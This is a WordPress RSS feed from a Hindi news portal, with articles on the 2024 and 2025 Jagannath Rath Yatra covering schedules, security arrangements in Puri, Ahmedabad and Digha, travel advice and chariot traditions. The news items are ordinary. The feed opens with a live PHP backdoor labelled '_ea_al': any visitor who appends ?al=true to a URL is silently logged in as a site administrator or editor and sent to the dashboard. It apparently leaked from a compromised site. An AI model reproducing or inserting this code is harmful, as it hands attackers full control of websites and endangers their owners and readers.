// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Jagannath Rath Yatra – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 27 Jun 2025 06:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 पुरी में भगवान जगन्नाथ की रथयात्रा के लिए उमड़े लाखों श्रद्धालु, अमित शाह ने भी की पूजा-अर्चना https://pratyushaashakinayikiran.com/?p=166815 Fri, 27 Jun 2025 06:36:00 +0000 https://pratyushaashakinayikiran.com/?p=166815 पुरी/ अहमदाबाद/ कोलकाता

ओडिशा के पुरी में आज भगवान जगन्नाथ की रथ यात्रा निकाली जाएगी. कार्यक्रम को लेकर प्रशासन ने कमर कस ली है और सुरक्षा व्यवस्था हाई अलर्ट पर है. यहां देश-विदेश से लाखों श्रद्धालुओं के शामिल होने की संभावना है. रथ यात्रा शाम 4 बजे से शुरू होगी. उससे पहले सुबह से विधि विधान शुरू होंगे.

ओडिशा के पुरी में आज रथ यात्रा उत्सव मनाया जाएगा. इस मौके पर पीएम मोदी ने देशवासियों को शुभकामनाएं दी. पीएम मोदी ने सोशल मीडिया अकाउंट एक्स पोस्ट में लिखा कि भगवान जगन्नाथ की रथ यात्रा के पवित्र अवसर पर सभी देशवासियों को मेरी ढेरों शुभकामनाएं. श्रद्धा और भक्ति का यह पावन उत्सव हर किसी के जीवन में सुख, समृद्धि, सौभाग्य और उत्तम स्वास्थ्य लेकर आए, यही कामना है। जय जगन्नाथ!

श्री जगन्नाथ मंदिर प्रशासन (SJTA) के मुख्य प्रशासक अरविंद पड्ढी ने बताया, महाप्रभु श्रीजगन्नाथ की कृपा से शुक्रवार को रथ यात्रा शांतिपूर्वक संपन्न कराने की पूरी तैयारी हो चुकी है. हमें सेवायतों का पूरा सहयोग मिल रहा है और सभी इंतजाम मुकम्मल हैं.

तीनों भाई-बहनों भगवान बलभद्र, देवी सुभद्रा और भगवान जगन्नाथ के रथों को खींचने का कार्य सभी अनुष्ठानों के पूर्ण होने के बाद शाम 4 बजे शुरू होगा. देश-विदेश से लाखों श्रद्धालु पुरी पहुंच रहे हैं.

पुलिस सूत्रों के अनुसार, गुरुवार शाम तक करीब एक लाख लोग पुरी पहुंच चुके थे. इनमें से कुछ ने 'नवयौवन दर्शन' का सौभाग्य भी प्राप्त किया, जिसमें स्नान अनुष्ठान के बाद पहली बार देवताओं का दर्शन होता है. 11 जून को हुए स्नान अनुष्ठान के बाद सार्वजनिक दर्शन बंद कर दिए गए थे. मान्यता है कि स्नान के बाद भगवान अस्वस्थ हो जाते हैं और उन्हें दो सप्ताह तक 'अनासर घर' (अलगाव कक्ष) में रखा जाता है.

क्या है आज पूरे दिन का कार्यक्रम?

ब्रह्म मुहूर्त में मंदिर का सिंहद्वार खोला गया. उसके बाद भगवान जगन्नाथ को जगाया गया. पहले मंगला आरती हुई. उसके बाद रथ यात्रा की तैयारी शुरू हुई. भगवान को खिचड़ी का भोग लगाया जाएगा. दोपहर में भगवान को गर्भगृह से निकालकर रथ तक लाया जाएगा. रथ पर सवार होने के बाद भगवान का बड़ा श्रृंगार होगा. दोपहर ढाई बजे श्रृंगार खत्म होगा. उसके बाद ओडिशा के गजपति महाराज सोने की झाड़ू से रथ बुहारेंगे. यात्रा की शुरुआत का प्रतीक माना जाता है. शाम 4 बजे से यात्रा के लिए रथ आगे बढ़ेंगे.

दरअसल, महाप्रभु जगन्नाथ 11 जून को देव स्नान पूर्णिमा के बाद से बीमार थे. दो हफ्ते से ज्यादा यानी 15 दिन उनका इलाज चला. इस दरम्यान महाप्रभु के दर्शन बंद थे. अब आज से दर्शन शुरू हो जाएंगे.

क्या हैं तैयारियां?

ओडिशा डीजीपी वाई बी खुरानिया ने बताया कि भीड़ को नियंत्रित करने के लिए पुरी शहर को किले में तब्दील कर दिया गया है. करीब 10,000 सुरक्षाकर्मी मोर्चा संभालेंगे, जिसमें 8 केंद्रीय सशस्त्र बल कंपनियां शामिल हैं.

इस साल पहली बार एक इंटीग्रेटेड कमांड एंड कंट्रोल सेंटर की स्थापना की गई है, जहां से पूरे उत्सव पर बारीकी से नजर रखी जाएगी. 275 से ज्यादा AI सक्षम CCTV कैमरे पुरी और कोणार्क जाने वाले मार्गों पर लगाए गए हैं. ग्रैंड रोड पर मंदिर के सामने NSG स्नाइपर्स की तैनाती भी की गई है. इसके अलावा, ड्रोन, बम निरोधक दस्ते, डॉग स्क्वाड, मरीन पुलिस, कोस्ट गार्ड और नौसेना को भी मुस्तैद रखा गया है.

मौसम विभाग ने शुक्रवार को पुरी समेत कई जिलों में आंधी-तूफान और 30-40 किमी प्रति घंटे की रफ्तार से हवाएं चलने की संभावना जताई है.

श्रद्धालुओं के परिवहन के लिए भारतीय रेल 365 विशेष ट्रेनें चला रही हैं. ओडिशा सरकार ने करीब 800 बसें विभिन्न जिलों से चलाई हैं.

अहमदाबाद में रथ यात्रा की क्या तैयारियां?

गुजरात की राजधानी अहमदाबाद में शुक्रवार को निकलने वाली 148वीं जगन्नाथ रथ यात्रा में करीब 23,884 सुरक्षाकर्मी तैनात रहेंगे. खास बात यह है कि पहली बार आर्टिफिशियल इंटेलिजेंस आधारित निगरानी प्रणाली का उपयोग किया जा रहा है ताकि भगदड़ जैसी घटनाओं को रोका जा सके.

AI आधारित सॉफ़्टवेयर को सीसीटीवी कैमरों और ड्रोन से लाइव फीड मिलेगी, जिसे वह विश्लेषित करके भीड़ की स्थिति, संख्या और संभावित जोखिम की जानकारी पुलिस नियंत्रण कक्ष को देगा. यह प्रणाली भीड़भाड़, आग और अन्य आपात स्थितियों में तुरंत सूचना देगी.

यात्रा मार्ग पर GPS ट्रैकिंग सिस्टम से सजी वाहनों की निगरानी की जाएगी. यात्रा के दौरान 4500 पुलिसकर्मी यात्रा के साथ चलेंगे और 1931 ट्रैफिक पुलिसकर्मी मार्ग व्यवस्थित करेंगे. सुरक्षा व्यवस्था में स्थानीय पुलिस, राज्य रिजर्व पुलिस (SRP), चेतक कमांडो, और रैपिड एक्शन फोर्स को शामिल किया गया है. 2872 बॉडी कैमरों, 41 ड्रोन, और 96 निगरानी कैमरों के साथ 25 वॉच टावर बनाए गए हैं.

400 साल पुराने जमालपुर स्थित श्रीजगन्नाथ मंदिर से यात्रा शुरू होगी और शाम 8 बजे मंदिर लौटेगी. परंपरानुसार खलासी समुदाय रथ खींचेगा. यात्रा में 18 हाथी, 100 ट्रक और 30 अखाड़े शामिल होंगे.

बंगाल में भी रथ यात्रा की खास तैयारियां

पश्चिम बंगाल की मुख्यमंत्री ममता बनर्जी ने गुरुवार को दीघा स्थित नवनिर्मित श्रीजगन्नाथ मंदिर में रथ यात्रा की तैयारियों की समीक्षा की. दिघा-शंकरपुर विकास प्राधिकरण (DSDA), पुलिस और इस्कॉन साधुओं के साथ हाई लेवल मीटिंग के बाद उन्होंने तीनों रथों और 1 किमी यात्रा मार्ग का निरीक्षण किया.

पूरे शहर को चंदननगर के कलाकारों द्वारा निर्मित मंदिर-थीम वाले कटआउट और रोशनी से सजाया गया है. कोलकाता से दीघा तक 180 किमी के रास्ते पर भगवा झंडे और बैनर लगे हैं. अभी तक 30 लाख श्रद्धालु मंदिर दर्शन कर चुके हैं. रथ यात्रा में भी लाखों की भीड़ आने की संभावना है. इस्कॉन के उपाध्यक्ष राधारमण दास के अनुसार, मुख्यमंत्री 27 जून को रथ खींचने में हिस्सा लेंगी.

ममता बनर्जी ने मीडिया से कहा कि तीनों रथ शुक्रवार दोपहर 2:30 बजे निकाले जाएंगे और 4 बजे तक यात्रा पूरी हो जाएगी. पूजा गुरुवार शाम से शुरू होगी और रथ खींचने की तैयारी शुक्रवार सुबह 8:30 बजे से शुरू होगी.

इस बार सुरक्षा के मद्देनजर श्रद्धालुओं को रथ की रस्सी खींचने के लिए सड़क पर उतरने की अनुमति नहीं होगी. लोग बैरिकेड्स के पीछे से रस्सी को छू सकेंगे.

 

]]>
जगन्नाथ रथयात्रा का भव्य आयोजन, गांव-शहरों से जुटेंगे भक्त – MP और छत्तीसगढ़ होंगे रंगे भक्ति में https://pratyushaashakinayikiran.com/?p=166796 Fri, 27 Jun 2025 05:05:00 +0000 https://pratyushaashakinayikiran.com/?p=166796 छिंदवाड़ा
आषाढ़ शुक्ल द्वितीया को निकलने वाली भगवान श्रीजगन्नाथ की रथयात्रा शुक्रवार को मध्यप्रदेश के छिंदवाड़ा और छत्तीसगढ़ के केशकाल में परंपरागत उत्साह और श्रद्धा के साथ निकाली जाएगी। दोनों ही नगरों में इस आयोजन को लेकर जबरदस्त तैयारी की गई है और भक्तों में गजब का उत्साह देखने को मिल रहा है।
 
छिंदवाड़ा में 11 सालों से जारी परंपरा
छिंदवाड़ा शहर के छोटी बाजार स्थित पुराने पावर हाउस से आज दोपहर 12 बजे भगवान जगन्नाथ, बलभद्र और सुभद्रा की भव्य रथयात्रा निकाली जाएगी। यात्रा परम संतोष श्री लक्ष्मीनारायण मंदिर तक जाएगी, जहां पर त्रिमूर्ति का विश्राम और धूपारती होगी। इसके बाद भगवान को वर्धमान सिंटी स्थित विजय आनंद दुबे के निवास “जगन्नाथ आराधना स्थली” पर ले जाया जाएगा। भगवान मदनमोहन की विशेष प्रतिमा इस बार आकर्षण का केंद्र रहेगी। वहीं पातालकोट से आए 50 कलाकार जिले की सांस्कृतिक विरासत को प्रस्तुत करेंगे। यात्रा से पहले बुधवार से शुरू हुआ तीन दिवसीय पूजन महोत्सव, जिसमें भगवान का नवयौवन संस्कार, नेत्रोत्सव और श्रृंगार विशेष विधि-विधान से किया गया। सुबह चार बजे से कलश स्थापना, मंगला आरती और छप्पन भोग जैसी परंपराएं निभाई जाएंगी।

केशकाल में निकलेगी पारंपरिक रथयात्रा
छत्तीसगढ़ के केशकाल नगर में भी आज भगवान जगन्नाथ, सुभद्रा और बलराम की रथयात्रा निकाली जाएगी। नगर के मुख्य मार्गों से गुजरते हुए यह यात्रा हरेश्वर शिव मंदिर (हर्रापड़ाव) पहुंचेगी, जहां भगवान कुछ दिनों के लिए विश्राम करेंगे। इस आयोजन में सुरडोंगर के बलराम गौर, विश्व हिंदू परिषद, बजरंग दल और स्थानीय मंदिर समितियां मिलकर भाग ले रही हैं। यह यात्रा 9 दिनों तक चलती है, जिसमें भगवान अपनी मौसी के घर ठहरते हैं, ठीक जैसे जगन्नाथ पुरी में होता है। दोनों ही स्थानों पर नगर प्रशासन और आयोजन समितियों ने मिलकर सुरक्षा, साफ-सफाई और अन्य व्यवस्थाओं को मुकम्मल रूप दे दिया है। श्रद्धालु सुबह से ही पूजा-अर्चना, दर्शन और रथ खींचने के लिए उमड़ेंगे। कहा जाता है कि रथ खींचने से पुण्य प्राप्त होता है और जीवन में सुख-शांति आती है।

]]>
जगन्नाथ रथ यात्रा शुरुआत 27 जून से होगी शुरू, जाने का टूर प्लान, दर्शन से लेकर ठहरने तक की पूरी जानकारी https://pratyushaashakinayikiran.com/?p=165120 Fri, 20 Jun 2025 03:56:00 +0000 https://pratyushaashakinayikiran.com/?p=165120 पुरी 

हर साल ओडिशा में आयोजित होने वाली जगन्नाथ रथ यात्रा में देश भर से लोग पहुंचते हैं. इस बार जगन्नाथ रथ यात्रा शुरुआत 27 जून से होने जा रही है. पुरी में होने वाले इस उत्सव का महत्व सिर्फ धार्मिक नहीं, बल्कि यहां की सांस्कृितक विरासत को दिखाता है, जो टूरिस्टों के आकर्षक का भी केंद्र हैं. अगर आप भी इस साल रथ यात्रा में शामिल होना चाहते हैं तो जानिए यहां कैसे जाएं? 

हिंदू पंचांग के अनुसार, द्वितीया तिथि 26 जून दोपहर 1 बजकर 24 मिनट से शुरू होकर 27 जून सुबह 11 बजकर 19 मिनट तक रहेगी. उदयातिथि के अनुसार, यह पर्व 27 जून को मनाया जाएगा. रथ यात्रा नौ दिनों तक चलेगी और 5 जुलाई 2025 को समाप्त होगी.

कैसे जाएं पुरी

अगर आप ट्रेन से जाना चाहते हैं तो आपको पुरी रेलवे स्टेशन जाना होगा, जो देश के करीब सभी बड़े शहरों से जुड़ा हुआ है. वहीं यात्रा के दौरान कई स्पेशल ट्रेनें भी चलाई जाती हैं. पुरी रेलवे स्टेशन से मंदिर की दूरी 2 किलोमीटर के करीब है. यहां से आप ऑटो या रिक्शा लेकर जा सकते हैं. अगर आपको हवाई सफर करना है, तो करीबी एयरपोर्ट भुवनेश्वर में है. जो पुरी से करीब 55 किलोमीटर की दूरी पर स्थित है. एयरपोर्ट से आप बस या टैक्सी की मदद से पुरी तक जा सकते हैं. 

पुरी में होटल और धर्मशाला के कई ऑप्शन मौजूद हैं, मंदिर के आसपास कई होटल हैं, जिनका बजट एक हजार से शुरू होता है. वहीं 500 रुपये में आपको धर्मशाला मिल जाएगा. मंदिर में दर्शन का समय सुबह 5 बजे से रात के 9 बजे तक का है. दिन में साढ़े 11 बजे से एक बजे तक भोग और विशेष पूजा के लिए दर्शन बंद रहता है. मंदिर में अगर भीड़ हो तो दर्शन करने में 3 से 4 घंटे का समय लग जाता है. जून और जुलाई के महीने में रथ यात्रा में शामिल होने के लिए दुनिया भर से भक्त यहां आते हैं. रथ यात्रा से 15 दिन पहले मंदिर में दर्शन बंद हो जाता है.  

रथ यात्रा के दौरान राज्य सरकार की तरफ से कई इंतजाम किए जाते हैं. पुरी रेलवे स्टेशन के बाहर निशुल्क कैंप भी लगाए जाते हैं जहां तीर्थयात्री रह सकते हैं. 

कैसे पहुंचें पुरी?

जगन्नाथ रथ यात्रा में शामिल होने के लिए पुरी पहुंचना होगा। पुरी उड़ीसा में स्थित है। आप हवाई मार्ग से सफर कर रहे हैं तो पुरी से सबसे नजदीकी एयरपोर्ट भुवनेश्वर में है। भुवनेश्वर का बीजू पटनाटक इंटरनेशनल एयरपोर्ट भारत के कई शहरों से सीधी उड़ान के माध्यम से जुड़ा है। आप भुवनेश्वर एयरपोर्ट पहुंचकर टैक्सी या बस के जरिए 60 किमी की दूरी तय करके पुरी पहुंच सकते हैं। 

बजट में सफर के लिए रेल यात्रा का विकल्प भी अपना सकते हैं। पुरी रेलवे स्टेशन देशभर से जुड़ा हुआ है। पुरी रेलवे स्टेशन से जगन्नाथ मंदिर और रथ यात्रा स्थल की दूरी लगभग ढाई से तीन किमी है।

सड़क मार्ग से यात्रा के लिए भुवनेश्वर और कोणार्क से पुरी के लिए नियमित सरकारी और निजी बसें मिलती हैं। NH-316 द्वारा सड़क मार्ग भी सरल है।

पुरी रथ यात्रा के लिए टिप्स

पहले से बुकिंग

रथ यात्रा में भारत ही नहीं विदेश से भी श्रद्धालु आते हैं। रथ यात्रा के दौरान काफी भीड़ होती है और मंदिर के पास के होटल बुक हो जाते हैं। ऐसे में पहले से परिवहन यानी ट्रेन या फ्लाइट का टिकट बुक कर लें। साथ ही होटल या धर्मशाला की बुकिंग भी पहले से ही कर लें ताकि आपको वहां पहुंचने या रहने में असुविधा न हो।

मौसम समझें 

जून के अंत में पुरी में गर्मी और बारिश दोनों हो सकते हैं। मौसम का पता लगाकर उसके अनुसार ही आरामदायक कपड़े और छाता साथ रखें। 

सावधान रहें

रथ यात्रा के दौरान भीड़ को देखते हुए बच्चों और बुजुर्गों का विशेष ध्यान रखें। अगर स्वास्थ्य समस्या है तो दूर से यात्रा देखें। इसके साथ ही अपनी कीमती सामान की देखरेख भी करें। 

मोबाइल ऐप का उपयोग

रथ यात्रा से जुड़ी सभी जानकारी Shree Jagannatha Dham ऐप पर उपलब्ध रहेगी। इस ऐप से आप दर्शन, लाइन स्थिति, आवास और महाप्रसाद की जानकारी प्राप्त कर सकते हैं।

रथ यात्रा क्यों निकाली जाती है?

पौराणिक मान्यता के अनुसार, एक बार भगवान जगन्नाथ की बहन सुभद्रा ने पुरी नगर दर्शन की इच्छा जताई. तब भगवान जगन्नाथ और बलभद्र ने उन्हें रथ पर बैठाकर नगर भ्रमण कराया और रास्ते में वे अपनी मौसी के घर भी कुछ दिन ठहरे. तभी से यह परंपरा हर साल रथ यात्रा के रूप में निभाई जाती है.

रथ यात्रा का महत्व

ऐसा माना जाता है कि रथ यात्रा में शामिल होने या इसका साक्षात दर्शन करने से हजार यज्ञों के बराबर पुण्य प्राप्त होता है. और भगवान विष्णु एवं माता लक्ष्मी का आशीर्वाद मिलता है. पुरी का जगन्नाथ मंदिर चार धामों में से एक है और यह यात्रा भक्तों को मोक्ष की ओर ले जाने वाली मानी जाती है.

जानें प्रभु जगन्नाथ, बलभद्र और सुभद्रा जी के रथ की खास बातें

जगन्नाथ पुरी रथ यात्रा भारत की सबसे पवित्र यात्राओं में से एक है। यह यात्रा हर साल आषाढ़ महीने के शुक्ल पक्ष की द्वितीया तिथि से शुरू होती है और दशमी तिथि तक चलती है। इस साल यह यात्रा 27 जून से शुरू होगी। 9 दिनों तक चलने वाली यह यात्रा 5 जुलाई को समाप्त हो जाएगी। जगन्नाथ पुरी रथ यात्रा का विशेष महत्व इसलिए भी है क्योंकि जब भगवान जगन्नाथम बलभद्र और सुभद्रा जी की प्रतिमा को रथ में बैठाकर यात्रा निकाली जाती है, तो इसे भक्त खींचते हैं। मान्यता है कि भगवान जगन्नाथ की यात्रा में रथ खींचने वाले भक्तों को मोक्ष की प्राप्ति होती है। आप भी अगर इस साल भगवान जगन्नाथ जी का रथ खींचना चाहते हैं, तो आपको रथ खींचने से जुड़े नियम जरूर जान लेने चाहिए।

भगवान जगन्नाथ की रथ यात्रा कहां से निकलती है

तीन रथों को मोटी रस्सियों से खींचा जाता है। यह रथयात्रा जगन्नाथ मंदिर से गुंडीचा मंदिर तक जाती है। रथों को खींचकर चार किलोमीटर की दूरी तय की जाती है। हर व्यक्ति को रथ खींचने का अवसर मिलता है। कुछ कदमों तक ही रथ खींचने की अनुमति है।

तीनों रथ के हैं अलग-अलग नाम

पुरी जगन्नाथ यात्रा में तीन रथ होते हैं। भगवान जगन्नाथ के रथ को नंदीघोष या गरुड़ध्वज कहते हैं। एक दूसरा बलराम जी का होता है जिस रथ को 'तालध्वज' कहते हैं। देवी सुभद्रा के रथ को दर्पदलन पद्म रथ कहा जाता है। जगन्नाथ का रथ, जिसे नंदी घोष रथ कहते हैं, 45 फीट ऊंचा है और इसमें 16 पहिए हैं। बलरामजी का रथ 43 फीट ऊंचा है और इसमें 14 पहिए होते हैं। सुभद्रा का रथ 42 फीट ऊंचा है और इसमें 12 पहिए होते हैं।

भगवान जगन्नाथ का रथ खींचने का नियम

किसी भी धर्म, जाति, प्रांत या देश का व्यक्ति रख खींच सकता है। इसका अर्थ यह है कि भगवान जगन्नाथ के रथ को खींचने को लेकर कोई भी नियम नहीं है। प्रभु जगन्नाथ सभी को समान दृष्टि से देखते हैं। इसे कोई भी भक्त खींच सकता है। जगन्नाथ जी के रथ को क्रम से सभी रथ की रस्सी को खींचते हैं। माना जाता है कि भगवान जगन्नाथ का रथ खींचने वाला व्यक्ति जीवन-मृत्यु के चक्र से मुक्त हो जाता है।

]]>
भगवान जगन्नाथ रथ यात्रा में पहांडी रस्म शुरू, ताहिया लेकर पहुंचे राघवदास मठ के पुजारी https://pratyushaashakinayikiran.com/?p=48990 Sun, 07 Jul 2024 13:05:00 +0000 https://pratyushaashakinayikiran.com/?p=48990 पुरी/नई दिल्ली.

पुरी के अलावा गुजरात के अहमदाबाद, पूर्वोत्तर में त्रिपुरा, झारखंड की राजधानी रांची, वाराणसी और पश्चिम बंगाल की राजधानी कोलकाता समेत कई अन्य राज्यों में भी रथयात्राएं निकाली जाती हैं। राष्ट्रपति द्रौपदी मुर्मू ने ने देशवासियों को रथ यात्रा शुरूआत की शुभकामनाएं दी। वहीं प्रधानमंत्री नरेंद्र मोदी ने भी सभी को शुभकामनाएं दीं। वहीं पश्चिम बंगाल की मुख्यमंत्री ममता बनर्जी ने भी सभी को शुभकामनाएं देते हुए कहा कि वे इस्कॉन द्वारा आयोजित रथ यात्रा में भाग लेंगी।

अहमदाबाद की डीसीपी कोमल व्यास ने जगन्नाथ रथयात्रा आयोजन पर सुरक्षा व्यवस्था को लेकर कहा, 'अहमदाबाद स्मार्ट सिटी के कैमरे शहर में पहले से ही लगे हुए हैं, और रथ यात्रा पर ध्यान केंद्रित करने के लिए उन्हें समायोजित और ज़ूम किया गया है। जब एक जगह पर बड़ी भीड़ इकट्ठा होती है और अपने मोबाइल नेटवर्क का उपयोग करती है, तो कनेक्टिविटी प्रभावित होती है। ऐसे में पुलिस का काम बिना किसी बाधा के हो, इसके लिए हम अपने वीएचएफ सेट का उपयोग करते हैं। हम बंधे हुए हीलियम गुब्बारों का भी उपयोग कर रहे हैं। हमने जुलूस का विहंगम दृश्य प्राप्त करने के लिए हीलियम गुब्बारे पर एक कैमरा लगाया है। हमने सभी पुलिस वाहनों में जीपीएस लगाया है। अहमदाबाद की मुख्य रथ यात्रा के अलावा, शहर में 7 और रथ यात्राओं की योजना बनाई गई है। रथ यात्रा के अलावा, हमने राज्य में आयोजित की जा रही 4 विभिन्न प्रकार की भर्ती परीक्षाओं का भी प्रबंधन और सुचारू संचालन सुनिश्चित किया है। रथ यात्रा के सुचारू संचालन को सुनिश्चित करने के लिए 24000 कर्मियों की भर्ती की गई है।'

पहांडी रस्म शुरू–
महाप्रभु जगन्नाथ की रथयात्रा के लिए पहांडी रस्म शुरू हो गई है। इसके साथ ही महाप्रभु को परंपरा के अनुसार, राघवदास मठ द्वारा तैयार किया गया ताहिया पहनाया जाएगा। ताहिया फूलों का बना मुकुट होता है, जिसे रथयात्रा के दौरान भगवान जगन्नाथ को पहनाया जाता है। 'पहांडी' परंपरा के अनुसार, सबसे पहले श्री चक्रराज सुदर्शन को रथ पर चढ़ाया जाता है। उनके बाद भगवान बलभद्र, देवी सुभद्रा और भगवान जगन्नाथ को रथ पर चढ़ाया जाता है। नृत्य हॉल से सात सीढ़ियों वाले उत्तरी निकास पर, तीनों देवता एकत्रित होते हैं और फिर रथयात्रा शुरू होगी।

पुरी में सुरक्षा के कड़े इंतजाम
पुरी के एसपी पिनाक मिश्रा ने कहा, 'आज हम भगवान श्री जगन्नाथ की विश्व प्रसिद्ध रथ यात्रा मना रहे हैं। जैसा कि हमने अनुमान लगाया था, इस रथ यात्रा में भाग लेने के लिए बड़ी संख्या में भक्त पुरी आएंगे। हमने व्यापक पुलिस व्यवस्था की है। हमने पुलिस व्यवस्था को कई महत्वपूर्ण खंडों में विभाजित किया है। भीड़ नियंत्रण और विनियमन के लिए व्यवस्था की गई है। यातायात और पार्किंग से संबंधित मामलों के लिए विशेष व्यवस्था की गई है। भारत की राष्ट्रपति पुरी का दौरा करेंगी। इसलिए राष्ट्रपति की सुरक्षा को ध्यान में रखते हुए विशेष व्यवस्था की गई है। इसके अलावा, कई अन्य गणमान्य व्यक्ति पुरी का दौरा करेंगे। हम कई एजेंसियों के संपर्क में हैं और हम उनके साथ मिलकर काम कर रहे हैं। हम तटरक्षक बल, तटीय सुरक्षा, रेलवे सुरक्षा के साथ समन्वय में हैं।'

]]>
आज से शुरू हो रही है भगवान जगन्नाथ की यात्रा, है खास इसकी महिमा, जानें इस यात्रा का महत्‍व और इतिहास https://pratyushaashakinayikiran.com/?p=48932 Sun, 07 Jul 2024 09:10:00 +0000 https://pratyushaashakinayikiran.com/?p=48932  पुरी

उड़ीसा के पुरी में 7 जुलाई से भगवान जगन्नाथ की रथयात्रा शुरू होने जा रही है। इस दौरान भगवान जगन्नाथ अपने बड़े भाई बलराम और बहन सुभद्रा के साथ रथ पर विराजते हैं। ऐसी मान्यता है कि रथ यात्रा का साक्षात दर्शन करने भर से ही 1000 यज्ञों का पुण्य फल मिल जाता है।आपको बता दें कि हर साल आषाढ़ मास के शुक्ल पक्ष की द्वितीया तिथि को जगन्नाथ रथ यात्रा का आरंभ होता है। इसके साथ ही आषाढ़ मास के शुक्ल पक्ष के 11वें दिन जगन्नाथ जी की वापसी के साथ होता है।

 53 साल बाद बन रहा अद्भभुत संयोग

पंचांग के अनुसार, इस साल आषाढ़ माह के कृष्ण पक्ष की तिथियां घट गई है। ऐसे में रथयात्रा के पहले की सभी परंपराएं 7 जुलाई तक चलेंगी। इसके बाद सुबह के बजाय शाम को रथयात्रा शुरू होगी। लेकिन रथयात्रा के बाद रथ नहीं हांका जाता है। इसलिए रात को रथ रोक दिया जाएगा और 8 जुलाई को जल्द सुबह रख चलाना शुरू होगा।बता दें कि तिथियों का ऐसा संयोग साल 1971 को बना था।

अलग-अलग रथ में सवार होते हैं श्री कृष्ण, बलराम और सुभद्रा जी

जगन्नाथ रथयात्रा में 3 रथ निकाले जाते हैं, जो कृमश: श्री कृष्ण, बलराम और उनकी बहन सुभद्रा का होता है। हर एक रथ अपने आप पर खास होता है। पहला रथ जगन्नाथ जी का होता है, जिसे नंदीघोष कहा जाता है। इसके साथ ही इसमें लहरा रही ध्वजा को त्रैलोक्य मोहिनी कहा जाता है। इस रथ में कुल 16 पहिए होते हैं। दूसरा रथ भगवान बलराम का होता है। इस रथ को तालध्वज कहा जाता है। इसके साथ ही रथ में लगे ध्वज को उनानी कहा जाता है। इस रथ में कुल 14 पहिए होते हैं। बता दें की तीसरा रथ भगवान जगन्नाथ की छोटी बहन सुभद्रा का होता है। इस रथ को पद्म ध्वज कहा जाता है। इस रथ में कुल 12 पहिए होते हैं।  

कैसे शुरू हुई जगन्नाथ रथ यात्रा
धार्मिक मान्‍यता के अनुसार एक बार बहन सुभद्रा ने अपने भाइयों कृष्‍ण और बलरामजी से नगर को देखने की इच्‍छा प्रकट की। फिर दोनों भाइयों ने बड़े ही प्‍यार से अपनी बहन सुभद्रा के लिए भव्‍य रथ तैयार करवाया और उस पर सवार होकर तीनों नगर भ्रमण के लिए निकले थे। रास्‍ते में तीनों अपनी मौसी के घर गुंडिचा भी गए और यहां पर 7 दिन तक रुके और उसके बाद नगर यात्रा को पूरा करके वापस पुरी लौटे। तब से हर साल तीनों भाई-बहन अपने रथ पर सवार होकर नगर भ्रमण पर निकलते हैं और अपनी मौसी के घर गुंडीचा मंदिर जाते हैं। इनमें सबसे आगे बलराम जी का रथ, बीच में बहन सुभद्रा का रथ और सबसे पीछे जगन्‍नाथजी का रथ होता है।

जगन्‍नाथ यात्रा का महत्‍व
भगवान जगन्‍नाथ और उनके भाई-बहन के रथ नीम की परिपक्‍व और पकी हुई लकड़ी से तैयार किए जाते हैं। इसे दारु कहा जाता है। रथ को बनाने में केवल लकड़ी को छोड़कर किसी अन्‍य चीज का प्रयोग नहीं किया जाता है। भगवान जगन्‍नाथ के रथ में कुल 16 पहिए होते हैं और यह बाकी दोनों रथों से बड़ा भी होता है। रथ यात्रा में कुछ धार्मिक अनुष्‍ठान भी किए जाते हैं। मान्‍यता है कि इस रथ यात्रा का साक्षात दर्शन करने भर से ही 1000 यज्ञों का पुण्य फल मिल जाता है। जब तीनों रथ यात्रा के लिए सजसंवरकर तैयार हो जाते हैं तो फिर पुरी के राजा गजपति की पालकी आती है और फिर रथों की पूजा की जाती है। उसके बाद सोने की झाड़ू से रथ मंडप और रथ यात्रा के रास्‍ते को साफ किया जाता है।

हर साल इस मजार पर क्‍यों रुकता है यह रथ भगवान जगन्‍नाथ का रथ अपनी यात्रा के दौरान मुस्लिम भक्‍त सालबेग की मजार पर कुछ देर के लिए जरूर रुकता है। माना जाता है कि एक बार जगन्‍नाथजी का एक भक्‍त सालबेग भगवान के दर्शन के लिए पहुंच नहीं पाया था। फिर उसकी मृत्‍यु के बाद जब उसकी मजार बनी तो वहां से गुजरते वक्‍त रथ खुद ब खुद वहां रुक गया। फिर उसकी आत्‍मा के लिए शांति प्रार्थना की गई तो उसके बाद रथ आगे बढ़ पाया। तब से हर साल रथयात्रा के दौरान रास्‍ते में पड़ने वाली सालबेग की मजार पर जगन्‍नाथजी का रथ जरूर रुकता है।

 

यात्रा में शामिल होने दिल्ली से जगन्नाथ पुरी कैसे पहुंचे

दिल्ली से जगन्नाथ पुरी का सफर 31 घंटे का है। आप यहां के लिए सबसे पहले तो फ्लाईट लें। इसमें 2h 39m लग सकते हैं। इसके लिए आपको दिल्ली के इंदिरा गांधी अंतर्राष्ट्रीय हवाई अड्डे से भुवनेश्वर के बीजू पटनायक अंतर्राष्ट्रीय हवाई अड्डे के लिए उड़ान लेना है, जो पुरी का निकटतम हवाई अड्डा है। वहां से, आप पुरी पहुंचने के लिए टैक्सी किराए पर ले सकते हैं या बस ले सकते हैं, जो लगभग 60 किलोमीटर दूर है। इसके अलावा आप दिल्ली से सीधे जगन्नाथ पुरी के लिए ट्रेन भी ले सकते हैं। आपको यहां के लिए कई सारी ट्रेन मिल जाएंगी बस आपको पहले से टिरट बुक करके रखना चाहिए।

जगन्नाथ पुरी में रत्र यात्रा में शामिल होने या देखने के लिए कोई टिकट की जरूरत नहीं है। पर जब आप मंदिर जाना जा रहे हैं और यहां प्रसाद लेने की सोच रहे हैं तो यहां की ऑनलाइन साइट की मदद ले सकते हैं।

3 दिन की ट्रिप में ऐसे घूमें पुरी-

-सबसे पहले तो आप जगन्नाथ मंदिर जाएं।
-आप रामचंडी बीच (Ramchandi Beach) पर जाएं।
-कोणार्क सूर्य मंदिर घूमकर आएं। यहां आप एक खूबसूरत सुबह और शाम बीता सकते हैं।

